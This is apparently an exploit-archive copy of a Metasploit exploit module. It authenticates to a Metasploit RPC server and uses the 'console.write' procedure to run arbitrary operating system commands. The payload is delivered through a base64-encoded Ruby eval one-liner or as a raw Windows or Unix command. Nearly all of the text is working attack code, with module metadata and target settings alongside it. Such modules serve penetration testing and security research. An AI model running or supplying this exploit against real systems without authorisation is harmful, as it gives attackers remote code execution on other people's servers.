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Metasploit RPC Console Command Execution

Posted on 22 July 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/rpc/v10/client'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Metasploit RPC Console Command Execution',
'Description' => %q{
This module connects to a specified Metasploit RPC server and
uses the 'console.write' procedure to execute operating
system commands. Valid credentials are required to access the
RPC interface.

This module has been tested successfully on Metasploit 4.15
on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit
4.14 on Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
[ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ],
[ 'URL', 'https://community.rapid7.com/docs/DOC-1516' ]
],
'Platform' => %w{ ruby unix win },
'Targets' => [
[ 'Ruby', { 'Arch' => ARCH_RUBY,
'Platform' => 'ruby',
'Payload' => { 'BadChars' => "x00" } } ],
[ 'Windows CMD', { 'Arch' => ARCH_CMD,
'Platform' => 'win',
'Payload' => { 'BadChars' => "x00x0Ax0D" } } ],
[ 'Unix CMD', { 'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' => { 'BadChars' => "x00x0Ax0D" } } ]
],
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 15 },
'Privileged' => false,
'DisclosureDate' => 'May 22 2011',
'DefaultTarget' => 0))
register_options [ Opt::RPORT(55552),
OptString.new('USERNAME', [true, 'Username for Metasploit RPC', 'msf']),
OptString.new('PASSWORD', [true, 'Password for the specified username', '']),
OptBool.new('SSL', [ true, 'Use SSL', true]) ]
end

def execute_command(cmd, opts = {})
res = @rpc.call 'console.write', @console_id, "
#{cmd}
"

if res.nil?
fail_with Failure::Unknown, 'Connection failed'
end

unless res['wrote'].to_s =~ /Ad+z/
print_error "Could not write to console #{@console_id}:"
print_line res.to_s
return
end

vprint_good "Wrote #{res['wrote']} bytes to console"
end

def exploit
begin
@rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl
rescue Rex::ConnectionRefused => e
fail_with Failure::Unreachable, 'Connection refused'
rescue => e
fail_with Failure::Unknown, "Connection failed: #{e}"
end

res = @rpc.login datastore['USERNAME'], datastore['PASSWORD']

if @rpc.token.nil?
fail_with Failure::NoAccess, 'Authentication failed'
end

print_good 'Authenticated successfully'
vprint_status "Received temporary token: #{@rpc.token}"

version = @rpc.call 'core.version'

if res.nil?
fail_with Failure::Unknown, 'Connection failed'
end

print_status "Metasploit #{version['version']}"
print_status "Ruby #{version['ruby']}"
print_status "API version #{version['api']}"

vprint_status 'Creating new console...'
res = @rpc.call 'console.create'

if res.nil?
fail_with Failure::Unknown, 'Connection failed'
end

unless res['id'].to_s =~ /Ad+z/
print_error 'Could not create console:'
print_line res.to_s
return
end

@console_id = res['id']
print_good "Created console ##{@console_id}"

print_status 'Sending payload...'

case target['Platform']
when 'ruby'
cmd = "ruby -e 'eval(%[#{Rex::Text.encode_base64(payload.encoded)}].unpack(%[m0]).first)'"
when 'win'
cmd = payload.encoded
when 'unix'
cmd = payload.encoded
else
fail_with Failure::NoTarget, 'Invalid target'
end

execute_command cmd
end

def cleanup
return if @console_id.nil?

vprint_status 'Removing console...'
res = @rpc.call 'console.destroy', @console_id

if res.nil?
print_error 'Connection failed'
return
end

unless res['result'].eql? 'success'
print_warning "Could not destroy console ##{@console_id}:"
print_line res.to_s
return
end

vprint_good "Destroyed console ##{@console_id}"
ensure
@rpc.close
end
end

 

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